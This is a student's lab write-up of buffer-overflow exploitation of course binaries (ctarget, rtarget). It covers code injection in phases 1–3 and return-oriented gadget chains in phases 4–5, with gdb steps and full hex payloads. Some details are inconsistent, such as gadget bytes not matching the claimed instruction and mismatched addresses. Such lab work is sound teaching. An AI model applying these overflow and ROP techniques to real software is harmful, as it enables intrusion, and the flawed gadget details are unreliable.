Assignment 2

My Target Number– **Target65**
My cookie value is 0x110dfc17

Phase 1– In this phase, we need to overflow the buffer so that after getbuf() instead of returning to caller function we need to call the function touch1.
To do this, we should know the size of the buffer .
To know the size of the buffer, what i did i run the ctarget with gdb and set the breakpoint on main after that run.
//commands
gdb ctarget
b main
run
now execution of function stop at main now we will get the disassembly of getbuf using disas command in which it will print assembly of getbuf() function from this we will get the size of buf .

disas getbuf //commands

In my case buf size is 0x38 means 56 bytes.

Now we need to know the address of touch1() function , for that also we need to same as above but here instead of disas we will print touch1 then we will get the address of touch1 .

p touch1 //commmands inside gdb

My input in text file is .
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 //padded 56 bytes
90 59 55 55 55 55 00 00 //address of touch1 my system is little endian so i write address in reverse order
After this run `./hex2raw < phase1.txt > phase1-raw.txt`

Now again gdb ctarget
run < phase1-raw.txt
// we execute our first exploit successfully.

Phase 2-

This phase also similar to phase 1 only difference is that in ctarget when we call the getbuf() after that instead of returning to test it should return to the touch2 and with that we should pass the first argument to touch2 as our cookie value.

To do above we should know the following things

- Size of buf i.e. 56 bytes
- Pass our cookie value as first argument of touch2.
  To do this we know that first argument store in rdi register so, we need to push our cookie value in redi register to do this write below assembly code in phase2.s file after that we need the byte representation of above code .
  Movq $0x110dfc17 ,%rdi
  ret

  To get the byte reprtesentation
  cc -c phase2.s
  objdump -d phase2.o > phase2.d

  Now we wil get something like this

  ```
  0:    48 c7 c7 17 fc 0d 11          mov    $0x110dfc17,%rdi
  7:    c3                            retq
  ```

  Byte Representation is 48 c7 c7 17 fc 0d 11 c3

- Now we want address of rsp register
  gdb ctarget
  b getbuf
  run
  disas
  //you will get the getbuf assembly code now we will do next until it reaches to get instruction then it ask to insert the strings, we type random 56 character after that
  x/s $rsp
  it will give the address of rsp i.e 5567c5f8

- Now we want address of touch2 we will get same as we got the address of touch1 in phase1 i.e gdb ctarget
  b main
  run
  p touch2

  Now my input is

```
48 c7 c7 17 fc 0d 11 c3 //cookie
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 //padding of 56 bytes
f8 c5 67 55 00 00 00 00 // address of rsp
be 59 55 55 55 55 00 00 // address of touch2.
```

  Now same as phase1 generate phase2-raw.txt file using hex2raw and pass that file inside gdb with run command.
  gdb ctarget
  run < phase2-raw.txt

// we execute our second exploit successfully.

Phase 3-

Similar to phase 2 only difference is it call touch3 and passes cookie as a string. Here first add the 56(size of buffer)+address length of rsp(8 byte)+address length of touch3(8 byte)
In hexadecimal total add 48 to your address of rsp i.e 5567c5f8
Finally i got 5567c640 and mov this into rsp using following command in .s file

```
movq $0x5567c640,%rdi
retq
```

To get the byte reprtesentation
cc -c phase3.s
objdump -d phase3.o > phase3.d

Now we wil get something like this

```
 0:     48 c7 c7 40 c6 67 55        mov    $0x5567c640,%rdi
  7:    c3                          retq
```

Now in this we need to pass our cookie value as string so convert my cookie into string and i got this
31 31 30 64 66 63 31 37

- Now we want address of touch3 we will get same as we got the address of touch2 in phase2 i.e gdb ctarget
  b main
  run
  p touch3

  Address of touch3 is d5 5a 55 55 55 55 00 00

  Now my input is
  48 c7 c7 40 c6 67 55 c3 //byte representation
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 //padding to fill buffer
  f8 c5 67 55 00 00 00 00 // address of rsp
  d5 5a 55 55 55 55 00 00 //address of touch3
  31 31 30 64 66 63 31 37 // cookie value as string

Now same as phase2 generate phase3-raw.txt file using hex2raw and pass that file inside gdb with run command.

gdb ctarget
run < phase3-raw.txt

// we execute our second exploit successfully.

Phase 4–

This is different from others here we can't do the code injection because all the memory protections are enabled so we need to do something more do perform our exploit
So here we need to do the return oriented programming instruction means explicitly we need to change the value of registers using returns instruction.

This phase similar to phase2 but here we are using different exploit methods and for this we are going to use rtarget
We need to pop the rdi register i.r popq %rdi and its byte representation is 5f but we dont have 5f in our dump file so we need to look for its alternative which is popq %rax% which has byte representation 58
Now we need to search for 58 in our rtarget file and inside rtarget we need to pick 58 from the farm means there is code between start_farm to end_farm.

```
0000000000001b86 <setval_242>:
    1b86: c7 07 eb 58 90 90        movl   $0x909058eb,(%rdi)
    1b8c: c3                       retq
```

58 is 4th byte of setval_242

We will get address of this using gdb
gdb rtarget
b main
Run
p setval_242
Now we get the address i.e 555555555b89.
Other instruction we need is movq %rax %rdi and its byte representation is 48 89 c7 c3
From the disas of rtarget i got

```
0000000000001b8d <getval_191>:
    1b8d: b8 62 48 89 c7           mov    $0xc7894862,%eax
    1b92: c3                       retq
```

Now i got address of getval_191 same as i got for setval_242 using gdb and the address is 555555555b8f // the address is from the byte code we are looking for not at the address where the function starts.
Like 48 89 c7 c3 starts from the 3rd byte of the function so we need to add 2 in address of function .
Finally the exploit is
popq %rax
movq %rax %rdi
ret.
My input is

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
```

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 //padding of 56 bytes
89 5b 55 55 55 55 00 00 // address 0f popq %rax
17 fc 0d 11 00 00 00 00 //cookie
8f 5b 55 55 55 55 00 00 //address of Mov %rax %rdi
be 59 55 55 55 55 00 00 //touch2 address got using gdb same as
phase2
```

Now same as other phases generate phase4-raw.txt file using hex2raw and pass that file inside gdb with run command.

gdb ctarget
run < phase4-raw.txt

// we execute our second exploit successfully.

Phase 5–

This phase is similar to phase 3 except we are using different exploit method to call touch3 and pass our cookie .
To do this we need to put our cookie into rsp and mov its address into rax
There are some instruction using this we can do
movq %rsp, %rax and its byte representation is 48 89 e0 c3 .
This we need to find from rtarget similar to phase4

```
0000000000001bc4 <getval_183>:
    1bc4: b8 48 89 e0 c3           mov    $0xc3e08948,%eax
    1bc9: c3
```

Now we will find the address of this using gdb like we did in phase4 and the address we are got is 0x555555555bc5 //this address is from where our byte is started means the address of the second byte of the getval_183 function.
Now copy rax into rdi
Mov1 %rax,%rdi and its byte representation is 48 89 c7 c3

```
0000000000001ba0 <getval_294>:
    1ba0: b8 48 48 89 c7           mov    $0xc7894848,%eax
    1ba5: c3
```

Its address is 0x555555555ba2 //address of 3rd byte getval_294

Now popq %rax byte representation is 58 c3 and it is same as phase4
Now we need to copy eax to esi so it is directly not given hence we need to do in chunks of instruction for me i got like

- Copy eax to edx i.e movl %eax,%rdx which byte representation is 89 c2
- Copy edx to ecx which byte representation is 89 d1

- Copy ecx to esi which byte representation is 89 ce

For 89 c2

```
0000000000001bfe <getval_199>:
    1bfe: b8 81 d1 08 c9           mov    $0xc908d181,%eax
    1c03: c3
```

And its address is 0x555555555c06 //using gdb same as phase 4

For 89 d1

```
0000000000001c5a <setval_454>:
    1c5a: c7 07 89 d1 38 db        movl   $0xdb38d189,(%rdi)
    1c60: c3
```

And its address is 0x555555555c5c

For 89 ce

```
0000000000001c54 <getval_403>:
    1c54: b8 89 ce 20 db           mov    $0xdb20ce89,%eax
    1c59: c3
```

And its address is 0x555555555c55

Now get address of add_xy and address of touch3 using gdb

Now my input is

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 //padding to fill buffer
c5 5b 55 55 55 55 00 00  // rsp-> rax
a2 5b 55 55 55 55 00 00 // rax ->rdi
89 5b 55 55 55 55 00 00 //My addof pop rax
48 00 00 00 00 00 00 00 // after buffer we need 48 bits to get
cookie
06 5c 55 55 55 55 00 00// eax-> rdx
5c 5c 55 55 55 55 00 00 //rdx-> ecx
79 5c 55 55 55 55 00 00 //ecx-> esi
b2 5b 55 55 55 55 00 00 //lea add_xy
```

```
a2 5b 55 55 55 55 00 00  //rax->rdi
d5 5a 55 55 55 55 00 00 //add of touch3
31 31 30 64 66 63 31 37// cookie as string
```

Now same as other phases generate phase5-raw.txt file using hex2raw and pass that file inside gdb with run command.

gdb ctarget
run < phase5-raw.txt

// we execute our second exploit successfully.

References :--

https://youtu.be/h4p2LqS0MsU?si=jmCqqqKL25PwuE65 //i saw this video to understand how to perform the exploit and what is the exploit